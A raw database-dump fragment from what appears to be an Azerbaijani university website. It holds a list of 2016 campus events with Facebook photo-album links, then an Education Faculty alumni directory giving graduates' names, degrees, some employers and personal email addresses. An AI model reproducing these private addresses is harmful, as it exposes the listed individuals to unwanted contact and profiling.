href=\"https://www.facebook.com/media/set/?set=a.1169643439712726.1073742243.799143400096067&amp;type=3\">(FOTO)</a></p><p><a href=\"https://www.facebook.com/media/set/?set=a.1169643439712726.1073742243.799143400096067&amp;type=3\"></a><a href=\"https://www.facebook.com/media/set/?set=a.1169643439712726.1073742243.799143400096067&amp;type=3\"></a>07.03.2016 - 8 Mart (<a href=\"https://www.facebook.com/media/set/?set=a.1169621543048249.1073742242.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.03.2016 Asan Xidmət - Seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1168248403185563.1073742240.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.03.2015 Türkiyənin tarixçi alimi İlber Ortaylı ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1166178776725859.1073742239.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.03.2016&nbsp;CİSCO texnologiyaları üzrə Şəbəkə inzibatçılığı (<a href=\"https://www.facebook.com/media/set/?set=a.1166087696734967.1073742238.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>04.03.2016 ABŞ səfiri Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1166066143403789.1073742237.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.03.2016&nbsp;Prezident seçkiləri - Debat mərhələsi&nbsp; (<a href=\"https://www.facebook.com/media/set/?set=a.1165457920131278.1073742235.799143400096067&amp;type=3\">FOTO</a>)</p><p>02.03.2016 Magistrlar və Doktorantlar üçün məşğələ (<a href=\"https://www.facebook.com/media/set/?set=a.1164915506852186.1073742234.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>01.03.2016 Potensial direktorlar&nbsp; (<a href=\"https://www.facebook.com/media/set/?set=a.1164370143573389.1073742233.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.03.2015&nbsp;Hamlet İsaxanlı ad günü &nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1164343463576057.1073742232.799143400096067&amp;type=3\">FOTO</a>)</p><p>01.03.2016 Magistr və doktarantlar üçün məşğələ (<a href=\"https://www.facebook.com/media/set/?set=a.1164311683579235.1073742231.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>29.02.2016 Psixologiya mərkəzinin açılışı (<a href=\"https://www.facebook.com/media/set/?set=a.1163750220302048.1073742229.799143400096067&amp;type=3\">FOTO</a>)</p><p>29.02.2016 Omer Sadullahin Xəzərdə açıq dərsi (<a href=\"https://www.facebook.com/media/set/?set=a.1163749930302077.1073742227.799143400096067&amp;type=3\">FOTO</a>)&nbsp;</p><p>27.02.2016 Oil Bowl (<a href=\"https://www.facebook.com/media/set/?set=a.1163690286974708.1073742226.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.02.2016 Xocalı (<a href=\"https://www.facebook.com/media/set/?set=a.1161946697149067.1073742225.799143400096067&amp;type=3\">FOTO</a>)</p><p>26.02.2016 Effective interview workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1161858050491265.1073742224.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.02.2015 Potensial Direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1161323123878091.1073742223.799143400096067&amp;type=3\">FOTO</a>)</p><p>25.02.2016 Lara Fabian tarixçilərlə görüşü (<a href=\"https://www.facebook.com/media/set/?set=a.1161284190548651.1073742221.799143400096067&amp;type=3\">FOTO</a>)</p><p>24.02.2016 Jourmal club seminar (<a href=\"https://www.facebook.com/media/set/?set=a.1161213383889065.1073742220.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.02.2016 Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1161289850548085.1073742222.799143400096067&amp;type=3\">FOTO</a>)</p><p>&nbsp;22.02.2016 Cənubi Koreyanın Donqdunk Universiteti ilə görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1159490857394651.1073742215.799143400096067&amp;type=3\">FOTO</a>)</p><p>18.02.2016 İntroduction to psymentology (<a href=\"https://www.facebook.com/media/set/?set=a.1156975157646221.1073742214.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.02.2016 Indoneziya səfiri Xəzərdə &nbsp;(<a href=\"https://www.facebook.com/media/set/?set=a.1152923088051428.1073742208.799143400096067&amp;type=3\">FOTO</a>)</p><p>10.02.2015 Musaya dəstək (<a href=\"https://www.facebook.com/media/set/?set=a.1151875158156221.1073742207.799143400096067&amp;type=3\">FOTO</a>)</p><p>06.02.2016 Multimedia Mərkəzinin Sumqayıta foto gəzintisi (<a href=\"https://www.facebook.com/media/set/?set=a.1151203028223434.1073742206.799143400096067&amp;type=3\">FOTO</a>)</p><p>09.01.2016 Yekun konsert (<a href=\"https://www.facebook.com/media/set/?set=a.1134852193191851.1073742173.799143400096067&amp;type=3\">FOTO</a>)</p><p>05.02.2016 Əfqanıstan səfiri Xəzərdə (<a href=\"https://www.facebook.com/media/set/?set=a.1148968181780252.1073742204.799143400096067&amp;type=3\">FOTO</a>)</p><p>05.02.2016 Dr.Farzad Sallahshoor workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1148890255121378.1073742203.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.02.2016 Təhsildə idarə etmə (<a href=\"https://www.facebook.com/media/set/?set=a.1148889318454805.1073742201.799143400096067&amp;type=3\">FOTO</a>)</p><p>03.02.2016 Yubiley mərasimləri (<a href=\"https://www.facebook.com/media/set/?set=a.1148335388510198.1073742200.799143400096067&amp;type=3\">FOTO</a>)</p><p>04.02.2015 Dr.Farzad Sallahshoor workshop (<a href=\"https://www.facebook.com/media/set/?set=a.1148334788510258.1073742199.799143400096067&amp;type=3\">FOTO</a>)</p><p>30.01.2016 Elm ve senet (<a href=\"https://www.facebook.com/media/set/?set=a.1146704405339963.1073742198.799143400096067&amp;type=3\">FOTO</a>)</p><p>29.01.2016 Eurasian Academic (<a href=\"https://www.facebook.com/media/set/?set=a.1146698168673920.1073742197.799143400096067&amp;type=3\">FOTO</a>)</p><p>29.01.2016 Avrasiya Akademiyası - Təqdimat (<a href=\"https://www.facebook.com/media/set/?set=a.1145089748834762.1073742196.799143400096067&amp;type=3\">FOTO</a>)</p><p>23.01.2016 Məzunlarla görüş (<a href=\"https://www.facebook.com/media/set/?set=a.1142586172418453.1073742195.799143400096067&amp;type=3\">FOTO</a>)22.01.2015 Final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1141042399239497.1073742194.799143400096067&amp;type=3\">FOTO</a>)</p><p>21.01.2016 Xəzərdə final Imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1140528915957512.1073742193.799143400096067&amp;type=3\">FOTO</a>)</p><p>19.01.2016 Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1140528415957562.1073742192.799143400096067&amp;type=3\">FOTO</a>)</p><p>19.01.2016 Sorğu nəticələrinin təqdimatı (<a href=\"https://www.facebook.com/media/set/?set=a.1139519549391782.1073742191.799143400096067&amp;type=3\">FOTO</a>)</p><p>19.01.2016 İmtahanlar (<a href=\"https://www.facebook.com/media/set/?set=a.1139503826060021.1073742190.799143400096067&amp;type=3\">FOTO</a>)</p><p>18.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1138809822796088.1073742187.799143400096067&amp;type=3\">FOTO</a>)</p><p>16.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1138810266129377.1073742188.799143400096067&amp;type=3\">FOTO</a>)</p><p>16.01.2016 potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1138809019462835.1073742186.799143400096067&amp;type=3\">FOTO</a>)</p><p>15.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1137013369642400.1073742185.799143400096067&amp;type=3\">FOTO</a>)</p><p>15.01.2016 Final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1136978522979218.1073742184.799143400096067&amp;type=3\">FOTO</a>)</p><p>14.01.2016&nbsp;Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1136480139695723.1073742183.799143400096067&amp;type=3\">FOTO</a>)</p><p>14.01.2016&nbsp;Xəzərdə Final Imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1136409406369463.1073742182.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Xəzərdə final imtahanlari (<a href=\"https://www.facebook.com/media/set/?set=a.1135924533084617.1073742181.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Leydenə gedən tələbələr (<a href=\"https://www.facebook.com/media/set/?set=a.1135895136420890.1073742180.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1135891789754558.1073742179.799143400096067&amp;type=3\">FOTO</a>)</p><p>13.01.2016 Final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1135857993091271.1073742178.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.01.2016 Potensial direktorlar (<a href=\"https://www.facebook.com/media/set/?set=a.1135421409801596.1073742177.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.01.2016 Final İmtahanı (<a href=\"https://www.facebook.com/media/set/?set=a.1135340429809694.1073742176.799143400096067&amp;type=3\">FOTO</a>)</p><p>12.01.2016 Xəzərdə final imtahanları (<a href=\"https://www.facebook.com/media/set/?set=a.1135319806478423.1073742175.799143400096067&amp;type=3\">FOTO</a>)</p><p>11.01.2016 Final Imtahanlari (<a href=\"https://www.facebook.com/media/set/?set=a.1134892686521135.1073742174.799143400096067&amp;type=3\">FOTO</a>)</p>'),(2729,1634,'en','2016','2016',''),(2730,1635,'az','2015','2015',''),(2731,1635,'en','2015','2015',''),(2732,1636,'az','2014','2014',''),(2733,1636,'en','2014','2014',''),(2734,1637,'az','2013','2013',''),(2735,1637,'en','2013','2013',''),(2538,1529,'az','Təhsil Fakültəsi','Təhsil Fakültəsi','<p><strong><a href=\"#A\">A</a> <a href=\"#B\">B</a> <a href=\"#C\">C</a> <a href=\"#F\">F</a> <a href=\"#G\">G</a> <a href=\"#H\">H</a> <a href=\"#K\">K</a> <a href=\"#L\">L</a> <a href=\"#M\">M</a> <a href=\"#N\">N</a> <a href=\"#S\">S</a> <a href=\"#Ş\">Ş</a> <a href=\"#U\">U</a> <a href=\"#Ü\">Ü</a>  <a href=\"#V\">V</a> <a href=\"#Y\">Y</a></strong></p><p><strong></strong></p><h3 id=\"A\">A</h3><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynurə Əliyeva</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi fakültəsi Kimya və Biologiya müəllimliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:a.aliyeva00@gmail.com\">a.aliyeva00@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2014</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Vahidova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Aynur_vahidova@mail.ru\">Aynur_vahidova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Aynur Həsənova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Riyaziyyat və informatika müəllimiyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:aynrhasanova@gmail.com\">aynrhasanova@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:aynrhasanova@gmail.com\"></a>Bakalavr 2014</p><hr noshade=\"noshade\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"B\">B</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bahar İsmayılova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Bahar.ismayilli@gmail.com\">Bahar.ismayilli@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Bahar Ələkbərova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:springalek@gmail.com\">springalek@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"C\">C</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Cəmil Topçubaşov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Almalı ticarət şirkəti/Menecer</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:jamil.t@hotmail.com\">jamil.t@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Cəvahirxanım Məlikova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Cipo94@mail.ru\">Cipo94@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Cəmilə Şamilova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azərbaycan dili ve ədəbiyyatı müəllimliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:<a href=\"mailto:shamilova-1994@mail.ru\">shamilova-1994@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:shamilova-1994@mail.ru\"></a>Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"F\"><strong>F</strong></h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Fidan Orucova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Filologiya</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Gənc\r\nDemokratlar İnstitutu (könüllü)</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:fialkakhj@gmail.com\">fialkakhj@gmail.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:fialkakhj@gmail.com\"></a>Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"G\">G</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Günel Bədəlova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Barattson tədris kursu</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:Badalova_92g@mail.ru\">Badalova_92g@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Günel İsgəndərova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Isgenderovag8@gmail.com\">Isgenderovag8@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Günay Hüseynova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İngilis dili müəllimliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:huseynova_gunay93@mail.ru\">huseynova_gunay93@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:huseynova_gunay93@mail.ru\"></a>2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"H\">H</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Həmidəxanım Ələsgərova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:hemide015@hotmail.com\">hemide015@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Hava Məmmədova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:havva.mammadova@hotmail.com\">havva.mammadova@hotmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"K\">K</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Kifayət Əhmədli</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Kifayet.selimova@mail.ru\">Kifayet.selimova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\"><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" ..=\"\" images=\"\" outline-p.png\");\"=\"\" \");\"=\"\" style=\"background-image: url(\"><strong></strong></p><h3 id=\"L\">L</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ləman Qurbanova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:qurbanovaleman@gmail.com\">qurbanovaleman@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Lalə Səbziyeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">37 saylı texniki yaradıcılıq mərkəzi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:lala%C5%9Fzabziyeva@gmail.com\">lalaşzabziyeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Ləman Şamilova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Kimya /Biologiya</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Leman.shamilova@gmail.com\">Leman.shamilova@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"M\">M</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Məmmədəli Ələkbərov</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İctimai Televiziya/Redaktor</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Mamed-elekberov@mail.ru\">Mamed-elekberov@mail.ru</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:Mamed-elekberov@mail.ru\"></a>Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"N\">N</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nübar Novruzlu</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:nubar.novruzlu.94@gmail.com\">nubar.novruzlu.94@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nərminə&nbsp;Umudova&nbsp;</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İngilis dili müəllimliyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:narmina.umudova@mail.ru\">narmina.umudova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Nurtac Əlizadə</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:nurtaj.alizade@yahoo.com\">nurtaj.alizade@yahoo.com</a></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><a href=\"mailto:nurtaj.alizade@yahoo.com\"></a>Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"S\">S</h3><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Sevinc&nbsp; Mustafazadə&nbsp;</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">İngilis dili və&nbsp;Ədəbiyyatı</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Filologiya&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">SOCAR Baş ofis, mühəndis&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:sevincnecefova@yahoo.com\">sevincnecefova@yahoo.com</a>&nbsp;</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2005</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Suma Qədiməliyeva</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail:&nbsp;<a href=\"mailto:sima.qedimeliyeva@gmail.com\">sima.qedimeliyeva@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səkinə Seyidova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Azərbaycan Texniki Universiteti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:sakinaseyidova@yahoo.com\">sakinaseyidova@yahoo.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Səbinə Məhəmmədova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xaçmaz rayonunda coğrafiya müəlliməsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:sabinamahammadova@mail.ru\">sabinamahammadova@mail.ru</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p><h3 id=\"Ş\">Ş</h3><strong>  <br></strong><br><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Şəhanə Xəlilova</strong></p><p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Sumqayıt, İdrak liseyi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:Sehane.xelilova@gmail.com\">Sehane.xelilova@gmail.com</a></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Bakalavr 2015</p><hr noshade=\"noshade\" style=\"width:100%;height:1px\"><p></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\"><strong>Şəhla Səfərova</strong></p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Təhsil fakültəsi</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">Xəzər Universiteti</p>\r\n<p style=\"\" margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\">E-mail: <a href=\"mailto:shahlasafarova1@gmail.com\">shahlasafarova1@gmail.com</a></p>\r\n<p style=\"\" 